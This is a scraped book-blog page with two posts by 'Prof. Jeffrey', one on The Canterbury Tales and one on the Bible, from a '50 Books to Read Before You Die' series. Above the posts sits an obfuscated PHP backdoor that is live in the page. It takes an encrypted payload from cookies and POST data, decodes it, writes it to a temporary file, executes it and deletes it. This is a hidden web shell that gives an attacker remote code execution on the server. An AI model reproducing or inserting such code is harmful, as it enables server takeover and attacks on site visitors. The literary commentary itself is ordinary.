$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} Bible – 50 Books to Read Before You Die

words to inspire before you expire

Tag: Bible

The Canterbury Tales

Good morning, class.

In college, back when I was a student (just like you!), I took a class called Chaucer and Medieval Literature—over half of our class time was dedicated to The Canterbury Tales. Chaucer only completed 22 of the “tales,” which is about one-fifth of the full-length compilation he planned to write. That class was hard enough as it was, so I can’t imagine it multiplied by five.

But I liked studying The Canterbury Tales (sometimes more than reading it). It’s intricate, boundary-breaking, and foundational for just about every major piece of literature after it. It’s actually comparable to the Bible—for all it’s culturally-insensitive flaws, it is one of the building blocks of modern literature.

Just make sure someone’s there to help you understand it, like a professor. A real professor. Not a blogger. And please, just avoid the Middle English if you know what’s good for you.


The Canterbury Tales is about a lot of stuff, but it’s mostly about telling stories. A group of pilgrims are journeying to Canterbury, and they tell each other stories to pass the time—whoever tells the best story wins the competition. It’s a little mundane, but the stories they tell are diverse and multifaceted. Many of the tales are crude, especially those that use rape as a comic plot device. It’s always hard to look past. But a handful of these stories are, simply put, good. My favorites are the Wife of Bath’s Tale, the Pardoner’s Tale, and the Nun’s Priest’s Tale.

The Wife of Bath’s Tale is one of the most feminist things medieval literature has to offer—it even holds up well today. After a knight’s rape of a girl, his punishment is to go out and find what women want most. A woman he meets claims to know the answer, but he must give her something in return—he must marry her. He agrees, but instantly regrets it because of her age and poverty. But she proves to him what she claims women want: sovereignty—power over men, which men consistently have over women. She gives him a choice between two options, neither of which he wants, so he tells her to decide, which she wanted all along.

The Pardoner’s Tale is probably my favorite—when I read it in high school, I recognized it instantly as the inspiration for “The Tale of the Three Brothers” in the Harry Potter franchise. Three men set out to conquer Death, and they come across a treasure that they won’t share. They each end up killing each other out of greed, and Death takes each of them without hesitation.

The Nun’s Priest’s Tale is probably the most genuinely enjoyable of the tales—it’s about a talking rooster who has a dream about his eminent death by a fox. He is convinced that it’s a sign, but his hen convinces him otherwise. He goes about his business, and when a fox actually does catch him, the rooster outsmarts the fox and escapes, making for a happy ending.


The Canterbury Pilgrims, Blake, William (1757 – 1827, English)

There are a lot of good high school English reasons to read The Canterbury Tales. Historical context, frame story, character study, themes and symbols…I can already see the unit plan. It’s just a good piece of literature to study.

But I like to think there’s a good reason to read it, in the same way one would read any other book on the 50-books list. As luck would have it, my previous book provides the answer—Life of Pi by Yann Martel. The climax of Life of Pi involves the choice between two stories, and which one is “better.” That’s the crux of the competition in The Canterbury Tales—choosing the best story.

This isn’t the kind of story you read on a Saturday curled up in a comfy chair…it’s the kind of story that you study and slave over. But it proves that big, important literature is on the same level as your comfy-chair-book. The Canterbury Tales is a big, epic-scale piece of literature about the importance of stories. Stories guide us and nurture us, and they reach out to us across time and space to give us meaning. There are many novels that can help you see that, but Geoffrey Chaucer made it happen first.


Up next, I’m trying The Color Purple by Alice Walker. I’ve never read it before, so I’m walking into it blind. It’s been a while since I’ve done that with a book, so I’m definitely excited!

Until next time,

Prof. Jeffrey

The Bible

bible-textGood morning class.

Today’s lesson is pretty serious—the Bible is arguably the most important text in human history, so I’ll begin with a kind of disclaimer:

Just like with Hamlet last week, I can’t possibly talk about everything that the Bible entails. Even worse, I can’t actually state a fact on the Bible without saying something potentially offensive. Everyone has their own experience with religion, some more positive than others, and even having the Bible on the “50 Books to Read Before You Die” list is debatable. There are people who hate it, people who are inspired by it, people who avoid it entirely, and people who use, misuse, and abuse it everyday.

With that in mind, I have two goals. 1) I’m going to talk about how the Bible has impacted me and my life (without bearing too much of my soul), and 2) I’m going to explain why I think you should read the Bible before you die. My hope is that I portray the Bible with not-too-much bias, and that you, students, are able to read this post with an open mind.


When I set out to read the Bible in its entirety, it was to improve my knowledge of the religious beliefs I had been practicing my entire life. I was in my senior year of high school when I started, and I read small sections of the Bible everyday throughout college. It was often difficult to continue, but I accomplished the task and am very glad that I did.

…But the Bible can be profoundly boring and profoundly outdated. Not only are the lists of names, endless instructions, and intricate details for tabernacles tedious…these are often followed by passages that forbid women to speak in church, condemn homosexuality, and encourage slavery, murder, and war. These passages make a significant portion of the Bible difficult to read.

An illustration of Naomi and Ruth, from the book of Ruth (Old Testament)

An illustration of Naomi and Ruth, from the Book of Ruth (Old Testament)

For me, these passages are admissible because of historical and cultural context. It’s certainly worth mentioning that the Bible is the oldest text on the 50-books list—it’s a collection of documents passed down orally, eventually written down, and translated multiple times over the course of thousands of years. Add to this that the authors were men in hugely male-dominated societies, and you should arrive at one obvious conclusion: the Bible is flawed.

The Bible is also incredibly beautiful. It doesn’t take a belief in God to see that many of the Psalms are moving works of poetry, or that Jesus’ parables are deep and layered metaphors. I really enjoyed reading and rereading these moments, where religion joined song and meaning. I am an English major, after all.

But the moments I enjoyed most were specifically for religious reasons—mostly, the passages that refer to love. My ideas of love come from the Bible, because most of the books I’ve read involve the kind of love that comes from the Bible (such as the Harry Potter series, which is more about love than anything else). Love that is powerful, sweeping, gentle, emotional, forgiving, and never-ending…it’s found in some of my favorite Bible passages.

As I studied each passage, I flinched at the offensive moments, almost nodded off at the boring moments, and happily praised the beautiful moments. As a practicing, active Christian, it means a lot to me that I don’t actively practice every instruction or belief in the Bible. It also means a lot to me that Biblical interpretations mean just as much to me as the text itself—it is a translation, after all, and I don’t mean to learn Hebrew any time soon.

The Nativity Scene

The Nativity Scene

I view the Bible as a complicated guide for living life. It is helpful, even with its prejudices, when it is read for spiritual growth or information. When it’s used as a tool for power or manipulation, it can easily become abusive, and this happens daily. My beliefs aren’t too complicated here—when I think of evil, I don’t think of a horned devil or a fiery hell; I think of the capacity for evil within human beings. I think evil is hatred and segregation. People who use the Bible to oppress or suppress others are falling prey to their own evil capacity. Parts of the Bible fall into this category—I use these passages for information (i.e., to understand the culture of the time), but these passages have very little, or nothing at all, to do with my religious practice.


On the other hand, the Bible is also worth looking at simply because it’s referenced in every book on the 50-books list. Even the ones I haven’t read yet—I’m willing to bet they each use it as inspiration. In the history of English literature, nothing has made a bigger impact than the Bible. Looking more closely at the Bible has its own benefits, but it’s also the key to understanding some of the greatest literary masterpieces from the past thousand years.

A close up of Michelangelo's painting on the Sistine Chapel

A close up of Michelangelo’s painting on the Sistine Chapel

But for me, it’s about the journey of love. Connection, family, honesty, communion, trust, forgiveness, communication, acceptance, sacrifice, faith, pain…it’s all love in different ways. That’s the “point” of the Bible.


I’ve already started reading my next novel: The Catcher in the Rye. It actually has a lot in common with Hamlet, with the focus on a vengeful, misguided youth, so it seemed like a logical leap—granted, it’s a leap forward hundreds of years and across the Atlantic…

More on that next week!

Prof. Jeffrey

“For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord.”

–from Romans 8: 38-39, written by the Apostle Paul, New International Version

“To every thing there is a season, and a time to every purpose under the heaven: a time to be born, and a time to die; a time to plant, and a time to pluck up that which is planted; a time to kill, and a time to heal; a time to break down, and a time to build up; a time to weep, and a time to laugh; a time to mourn, and a time to dance; a time to cast away stones, and a time to gather stones together; a time to embrace, and a time to refrain from embracing; a time to get, and a time to lose; a time to keep, and a time to cast away; a time to rend, and a time to sew; a time to keep silence, and a time to speak; a time to love, and a time to hate; a time of war, and a time of peace.”

–from Ecclesiastes 3: 1-8, written by Solomon, King James Version